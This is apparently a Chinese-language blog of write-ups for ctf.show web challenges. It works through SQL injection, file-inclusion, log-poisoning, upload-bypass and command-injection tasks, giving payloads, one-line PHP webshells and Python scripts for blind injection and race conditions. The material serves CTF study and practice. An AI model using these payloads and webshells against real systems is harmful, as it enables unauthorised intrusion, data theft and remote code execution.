ctf-show WEB板块(持续更新)

 之前web做的有点少 MISC做的多一点  下决心 做web手  决定把ctf.show web板块刷一遍 留个记录 写博客 顺便给自己 坚持下去的动力 buu上面的web也刷了一些  也写了题解 写完ctf.show 在做一遍buu上面的题

WEB签到题

查看源码

WEB.2

简单sql注入 

先试试万能密码 能登录 进去 存在sql注入漏洞

判断回显位  猜测3个字段 2 有回显

admin' union select 1,2,3#

查看数据库

admin' union select 1,database(),3 #

获取表名

admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' #

发现flag 获取列名

admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns  where table_schema='web2' and table_name='flag' #

读取字段

admin' union select 1,(select flag from flag),3 #

 

得到flag

 WEB.3

 发现 include 函数 想到 文件包含 GET方式 传入一个url尝试 文件包含 肯定是需要 伪协议了

使用 php://input:可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。

有思路了抓包 

得到了一个文件在 看这个文件 得到flag

WEB.4 

这里虽然有include函数  但是伪协议 用不了 需要我们通过日志注入进行任意命令执行得到getshell

  nginx服务器   nginx服务器默认日志位置在

/var/log/nginx/access.log

我们看一下

 发现可以 我们抓包在User-Agent头中插入一句话木马

发现多了一条记录 说明上传成功了

中国蚁剑连接 

 注意连接 位置 我们是上传一句话木马到日志文件里面去了

WEB.5 

 代码审计 

ctype_alpha():检查是否为字母   is_numeric():检查是否为数字

使用特殊md5值绕过即可  

WEB.6

 看到一个登录框  我们先使用 万能密码登录 

 登录失败 肯定是什么东西被过滤了

空格被过滤了

判断字段数  字段数为3

admin'/**/or/**/1=1/**/order/**/by/**/3/**/#

 判断回显位    2有回显

admin'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#

爆破数据库名  得到当前数据库名  web2

admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3/**/#

 爆破表名  得到两个表  flag,user

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

 爆破 flag表中的字段名  得到flag字段

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

查看flag字段的内容  得到flag

admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

WEB.7

 我们点击进去 发现 id变了 我们爆破id 1-1000 发现 只有1,2,3 有类容 我们想着在sqlmap跑一下  没有跑出来 我们手注意下 发现 不行 但是又报错信息 肯定是什么东西被过滤了 

 试一下 空格被过滤了   成功绕过

 我们判断一下回显位

?id=1'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#

日常操作

爆破数据库名:  得到数据库名   web7

?id=1'/**/or/**/1=1/**/union/**/select/**/1,database(),3/**/#

爆破表名:  得到3个表flag,page,user

?id=1%27/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3/**/#

 看flag表里面有哪些字段: 有 flag这个字段

?id=1%27/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3/**/#

查看flag表里面flag字段里面的数据: 得到flag

?id=1%27/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3/**/#

 

 WEB.8

发现 查询语句 都不行 并且题目告诉我们需要写一个简单的注入工具  写一个sql盲注脚本

import requests

flag=""
for x in range(1,50):
	for i in range(1,300):
		url=f"http://ace7b8b3-0ff2-4843-ba47-67e97ff53f25.challenge.ctf.show/index.php?id=-1/**/||/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{x}/**/for/**/1))={i}#"
		s=requests.get(url).text
		if len(s)>1000:
			flag+=chr(i)
			print(chr(i))
			break

print(flag)

 需要花点时间 跑脚本  flag 一个一个字符出来了

 WEB.9

看到 这个一个登录款 盲猜是一个 sql注入 试了一下绕过 没绕过去 看看有没有其他界面

访问 一下 index.phps  源码在下面

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

审计代码 post传进去一个password参数

如果 password的长度大于10 结束进程 并且 输出 password error

这里有个sql查询语句 我们需要利用它 

这里面有个md5($password,true) 函数 计算$password 里面的md5值 true表示已二进制计算md值

还有个 $result=mysqli_query($con,$sql):

mysqli_query:用于执行MySQL数据库查询

$con:表示与MySQL数据库的连接对象

$sql:表示要执行的SQL查询语句

思路理清楚了 这里需要使用到一个特殊字符 ffifdyop可以记一下这个字符

它的md5值为:276f722736c95d99e921722cf9ed621c

转为字符为:'or'6É]é!r,ùíb  6后面乱码 

存在 or 即代码的两边有一边为真既可以绕过, or后面有6,非零值即为真。既可以成功绕过。

WEB.10 

我们在源码里面 发现了一个css文件  然后发现了一个 index.phps 下载下来 源码如下

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

replaceSpecialChar函数主要功能是 用正则表达式替换掉字符串中的特殊字符

return preg_replace($regex,"",$strParam)在$strParam匹配$regex里面的字符 匹配成功 替换为空

if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }

这段代码 检查MySQL数据库连接成功没 如果;连接失败 则终止程序 输出错误信息

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}

这段代码 是检查 输入时 输入字符串的长度 是否和 匹配完之后长度相同 所以双写绕过是不行的

这里介绍两个函数

group by :将查询结果按照指定的列进行分组

我们查询数据 不加 group by

加了  group by   count(*):查询出现次数

 with rollup:用于对查询结果进行汇总(可以接在 group by 后面)

结果 password那里多了一行 是 NULL 空

那么就可以绕过了,因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆

pyload为:  密码为空

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

 

 WEB.11

 关键代码

 if($password==$_SESSION['password']){
            echo $flag;

输入的密码 要和 存在本地的session密码相等 从输出flag 我们在cookie 那里发现了密码 每次传包  都会 更新 我们使用 空密码绕过 在 PHP 中,null 等于 null

WEB.12 

 我们查看源码  发现?cmd 

想到 传参 cmd 看看php版本信息

成功获取到  接下来遍历目录 

使用glob()函数:可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录 

?cmd=print_r(glob('*'));

感觉 flag在 那个奇怪的文件里面

使用hightlight_file()函数:可以使文件内容高亮显示, 常用于读取文件内容

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

 红包题第二弹

 我们查看源码 发现可以get传参 cmd  我们随变传一个试试

发现 它过滤了 很多东西 当是 p和?没有 被过滤 我们可以使用 ?当作  通配符使用

pyload为

?cmd=?><?=`/???/?p /???????? p.ppp`;?>

实际执行的命令是

?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

用cp命令 把  flag.txt 复制到p.ppp  

访问 p.ppp 下载 得到flag

WEB.13

文件上传 我们先传一个shell进去 提示文件太大了

 

传一个 图片码 上去也是一样 

 我们考虑 把一句话木马改小一点 

<?php eval($POST['L'];

上传成功   提示后缀名错误  我们改为 phtml ,php3 都不行

 只能改其他文件格式 使用 .htaccess或者.user.ini 去解析为php文件去执行

先试试 .htaccess:

<FilesMatch "1.txt">
SetHandler application/x-httpd-php
</FilsMatch>

上传 失败 说文件太大了  看来

试试 .user.ini 应为有大小要求 所以我们只需要一句话就行

auto_prepend_file=1.txt

 1.txt为

<?php eval($_GET['a']);

解析  1.txt为php文件 

两个文件都上传  成功 GET 方式 如果 1.txt为POST 会提示文件太大了  我们直接传参 

/?a=print_r(glob("*"));

 查看当前目录下所有目录  这里传参的时候可能会没有回显 多试一下 或者 重新起个环境

发现了一个很奇怪的 文件 看一下里面有什么  这里不用cat 命令使用 highlight_file 高亮回显

/?a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

 得到flag

 WEB.14

 

get传一个参数进去  使用sleep()函数暂停执行指定的秒数(由$c指定)。最后,它使用switch语句根据$c的值执行相应的操作

我们去各个case里面有我们东西 case3 里面有一个php文件

访问一下   盲猜是sql注入    过滤了空格

 给个true, 使SQL恒成立, 页面正常显示

?query=1/**/or/**/true

 再给个false, 使SQL恒不成立, 页面空显示   这里传参的时候记得 使用-1 -1是查询不到东西的

判断回显位   只有1 有回显

?query=-1/**/union/**/select/**/1

 

我们查看 当前数据库名  得到当前数据库名 web

?query=-1/**/union/**/select/**/database()

 查看表名   得到 content 这个表

?query=-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

 爆破字段名  

?query=-1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_name='content'

 爆破数据  这里不加看id 加了id不好看数据

?query=-1/**/union/**/select/**/group_concat(username,password)from/**/content

得到    

说flag不在里面  提示  secret has a secret       题目开始有个secret.php 我们访问一下

 没报错说明可以正常访问apache的默认网站根路径是/var/www/html, 我们试一下读这个文件的内容

使用  load_file函数:从指定的文件路径加载数据。通常用于读取文本文件、二进制文件或数据库中的文件内容

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

没东西 抓包看看

得到一个目录 访问一下 得到flag

红包题第六弹

有一个登录框 我们先看看源码 

oReq.open("POST", "check.php?token="+token+"&php://input", true);

 对当前日期做了一个MD5的编码,可以发现是需要用php://input获取文件流,然后返回一个文件

进行目录扫描发现还有 一个 www.zip 文件 

下载得到

 需要自己传上去的文件与已存在的key.dat MD5要一致,sha512不一致,那么我们的思路是,首先获得key.dat,首先访问一下这个文件直接下载了,那么第一层的绕过我们直接就使用了key.dat文件,第二层的sha1值我们随便上传一个字符串即可,我们需要并发编程,将$receiveFile中的内容在极短时间内进行替换,这里我们可以编写一个python脚本来进行解题

import requests
import time
import hashlib
import threading

#这里为什么用分钟数生成:因为通过抓包发现改变分钟后token值才会变化
i=str(time.localtime().tm_min)
#生成token
m=hashlib.md5(i.encode()).hexdigest()
url="http://576b8ad9-e4e4-404b-be71-8825055b5d62.challenge.ctf.show/check.php?token={}&php://input".format(m)

def POST(data):
    try:
        r=requests.post(url,data=data)
        if "ctfshow" in r.text:
            print(r.text)
            pass
        # print(r.text)
        pass
    except Exception as e:
        print("somthing went wrong!")
        pass
    pass

with open('key.dat','rb') as t:
    data1=t.read()
    pass
for i in range(50):
    threading.Thread(target=POST,args=(data1,)).start()
for i in range(50):
    data2='emmmmm'
    threading.Thread(target=POST,args=(data2,)).start()

得到flag 

红包题第七弹 

 看到php版本信息没东西了  用dirmap扫一下

git泄露 我们使用 Git_Extract 获取到源码

python2 git_extract.py http://2c9b9099-d2cd-4721-95ed-dc6aa67b7fcd.challenge.ctf.show/.git/

有一个后门shell 蚁剑不好连 只有手动输入了

我们知道flag在哪里

直接POST传参就行 记得在backdoor.php 下传参 

Letmain=print_r(highlight_file("var/www/flag.txt"))

 萌新专属红包题

登录 是弱口令登录  admin admin888

登录进去之后 看查看器 有编码解码一些

少了一半  不全 后面有个图片 我们下载下来看看

 

感觉得到了下一半 提交试一下 把key换成ctfshow 提交错误 

我们想着 登录的时候抓个包看看   得到flag

CTFshow web1

是一个登录框 可以注册一个账户 我们注册一个 登录进去  告诉我们flag在password里面

 怎么找 password ? 我们用dirmap扫一下 发现有www.zip 下载下来 

发现 login.php(登录页)reg.php(注册页)把能够进行注入的函数字符都禁的差不多了应该注入不了 

 我们可以利用 $order=pwd即 select * from user order by pwd 来判断注册的密码与flag用户密码的大小 比如flag用户名的密码为  flag(abcd) 时 我们从小到大 f都在第一位 当我们注册密码为g时在第一位的下面

上脚本

import requests
url="http://4691a7a3-897b-484f-9d2e-5c17605530f6.challenge.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break

 

最后 需要把 | 改为}

game-gyctf web2 

一个登录框 使用 dirmap扫一下 得到 www.zip 下载下来 看index.php

 

 里面有一个文件包含 我们传给参数 ?action=update 试一下  显然不行 需要 session[login]=1

 看update.php 

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

 需要session[login] =1  才能得到flag  转到 lib.php

 分析得知 要像成功绕过(成功登录)需要满足 passwd的md5值 等于数据库中的储存值

后面绕过也不怎么会了 推荐看这篇文章 CTFSHOW-日刷-game-gyctf web2/pop链-反序列字符逃逸 - Aninock - 博客园 (cnblogs.com)

posted @   不是李嘉图  阅读(127)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示